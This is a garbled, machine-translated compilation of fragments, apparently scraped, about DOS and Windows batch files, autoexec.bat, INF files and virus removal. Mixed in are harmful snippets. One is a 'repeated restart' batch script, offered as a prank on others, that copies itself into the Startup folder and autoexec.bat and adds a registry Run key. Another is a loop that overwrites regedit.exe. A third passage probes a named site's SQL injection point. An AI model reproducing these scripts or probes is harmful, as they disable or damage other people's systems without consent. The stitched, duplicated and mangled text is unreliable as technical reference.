executed for each file.
Command-parameters
Specify a parameter or command-line switch for a specific command.
For example, there is one row in a batch file:
For%%c in (*.bat *.txt) do type%%c
The command line displays the contents of all files with bat and txt extensions under the current directory.
Batch processing sample
1. If-exist
1)
First use Notepad to create a test1.bat batch file in C:\, which reads as follows:
@echo off
IF EXIST \autoexec. B
Now let's talk about how to determine whether the server's hard disk (partition) Has access through injection points.
This routine is very simple. You don't need to read it if you want ,,,
Just use a video I made, a simple injection, and a music station to test it.
The injection point is ~~ I forgot to find the address.
No. Swearing ~~ That guy is ill, BS
Http://www.fun668.com/user/wmadown.asp? Id = 48187This is the injection point ~~~Now let's use the SQL query statement to test whether disk C
-parameters specify parameters or command-line switches for specific commands. For example, there is a single line in a batch file: for%%c in (*.bat *.txt) does type%%c the command line displays the contents of all files in the current directory with the name extension of bat and txt.It is important to note that when a () string is not a single or multiple file names, it is simply substituted as a string, and this feature, plus (), can embed multiple strings, and it is obvious that for can be co
environment variables used by the dossystem, such as prompt, dircmd, and copycmd. Most of these environment variables are generated by setting them with the set command in the autoexec. bat or config. SYS file. For example:C:/> setComspec = C:/command. comPrompt = $ p $ GPath = C:/windows; C:/DOS; C:/foxpro25; C:/UCDOS; C:/gypc; C:/CCed; C: /HD; C:/sarpTemp = C:/DoS2. Run the DEBUG commandDebug is a powerful tool for debugging programs provided by DO
names, it will simply be replaced as a string. This feature is added () can be embedded into multiple strings. Obviously, for can be regarded as a traversal loop.Of course, in the command line environment of the NT/2000/XP/2003 series, for is given more features so that it can analyze the command output or strings in the file, many switches are also used to extend the file replacement function.========================================================== ======================================
Batc
completed. However, most of the online users have no access to DOS, and there is little chance of DOS access in the actual application environment, so let's talk about system device loading and system environment settings in DOS so that you can really use dos.
The first thing to do is to configure the environment in DOS. Basically, you must use the config. sys and autoexec. BAT files. Config. the sys file is a professional system startup configuratio
" (hidden partition), you can click [operations] in the menu bar of the main pm5 window or right-click the hidden partition, select [unhide] from the drop-down menu [advanced ].Partition] unhide partitions. Finally, set the 8 Mb partition as the active partition, that is, click [set active] in [advanced].After completing the preceding steps, click the [apply] button in the lower-right corner of the pm5 Main Window and click the [Yes] button as prompted. The [batch progress] window appears, showi
Nowadays, many malignant Viruses need to be scanned and killed using the exclusive killing tool, but some viruses will automatically prohibit the running of the exclusive killing tool. We often use other systems (such as Dos or PE) to scan and kill these stubborn viruses. In fact, the kill tool is a batch file that can delete virus files, which is not difficult to understand and compile. This article provides you with an in-depth understanding and preparation of the exclusive killer tool. When t
Nowadays, many malignant Viruses need to be scanned and killed using the exclusive killing tool, but some viruses will automatically prohibit the running of the exclusive killing tool. We often use other systems (such as DOS or PE) to scan and kill these stubborn viruses. Actually,Exclusive ToolIs a file that can delete viruses.Batch FileIt is not difficult to understand and write. This article provides you with an in-depth understanding and preparation of the exclusive killing tool.System Start
. ini file. Finally, modify the Registry Regedit find the following two items and delete them HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Run MS Tesk = "C: \ Program Files \ mstesk.exe" and hkey_user \. default \ Software \ Microsoft \ Windows \ CurrentVersion \ Run MS Tesk = "C: \ Program Files \ mstesk.exe "and then find that the HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ SS group is the server for selecting and setting all the parameters of
INF is the abbreviation of device information file, which is released by Microsoft for hardware device manufacturers.
Program A file format released. The inf file contains hardware device information or scripts to control hardware operations.
INFI Functions 1. Copy, delete, or rename a file.
2. add or delete a project in the registry.
3. Modify important system settings files (such as autoexec. bat, config. sys, And. INI)
INF rules INF is a plain t
-variablesStart environment variable (the environment variable set by autoexec. bat is read when the system starts)
CurrentUser-variablesCurrent user environment variable (you can set it in the system environment variable dialog box)
ProgramSet-variablesEnvironment variables in the current program (environment variables set by the current program/batch processing through set)
Note: In addition to these five types, there is also a kind of "dynamic e
\ regsvr32.dll> nul@ Start ping 127.0.0.1-t> % windir % \ system32 \ regedit.exe> nulGoto ping
--------------------------------------------------------------------------------Malicious batch processing with repeated restartRepeated restart is to let others start and restart repeatedly. The following codeCopy codeThe Code is as follows: @ echo offShutdown-r-t 3Copy % 0 C: \ Documents ents "" and "" Settings \ All "" Users \ "start" Menu \ Program \ Start \ a. batCopy % 0 c: \
-click Advanced Power Management in the device list, click the settings tab, and then click to clear the enable power management check box. Click "OK" until "Control Panel" is returned ". Restart the computer. Shut down the computer. If the computer shuts down normally, the problem may be caused by APM.
4. Start but shut down
When Windows is just started, you often encounter failures such as "you can safely shut down the computer", shutdown immediately at startup, or restart at shutdown. The c
bin in Linux.
Autoexec. BAT (file)
Autoexec. bat is an automatic batch processing file, normally under the C root directory, useful in the DOS and Win95/98 times, DOS will automatically run autoexec at startup. BAT files are usually loaded with the required programs, such as path, smartdrv, mouse, and mscdex) doskey, set, and so on. In winme, this file cannot be
INF, short for device information file, is a file format launched by Microsoft for hardware device manufacturers by publishing their drivers, the inf file contains hardware device information or scripts to control hardware operations.
INF Functions
1. Copy, delete, or rename a file.2. add or delete a project in the registry.3. Modify important system settings files (such as autoexec. bat, config. sys, And. INI)
INF rules
INF is a plain text file, whic
INF file format
INF, short for device information file, is a file format launched by Microsoft for hardware device manufacturers by publishing their drivers, the inf file contains hardware device information or scripts to control hardware operations.
INF Functions
1. Copy, delete, or rename a file.2. add or delete a project in the registry.3. Modify important system settings files (such as autoexec. bat, config. sys, And. INI)
INF rules
INF is a plain
I'm sending you a few things, ''''. When you're bored, you can play with others.
The batch processing of repeated restarts, as the name implies, is to let others start, restart, and repeat all the time.Code
@ Echo offShutdown-R-T 3Copy % 0 C: \ Documents ents "" and "" Settings \ All "" Users \ "start" Menu \Program\ Start \ A. batCopy % 0 C: \ autoexec. batReg add HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run/V
path)10 Windows Directory11 Windows System directory12 driver directory17. inf file directory18. Help file directory20 font directory21 root directories24 application directory25. shared directory30 current root directory50 System Directories51 spool directory52 spool driver directory53 user configuration directory----------------------------------------------------------
Operations defined in [defainstall install]----------------------------------------------------------Logconfig log file conf
BAT (batch file or batch program) File Syntax and skills
First, the batch processing file is a text file. Each line of the text file is a DOS command.
Second, the batch processing file is a simple program. You can use if and goto to control the process and for to execute a command cyclically.
Again: A compiled batch processing file is equivalent to a DoS external command, that is, as long as you store the BAT file
If the directory is set on the path, CMD can execute the BAT file at any location.
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.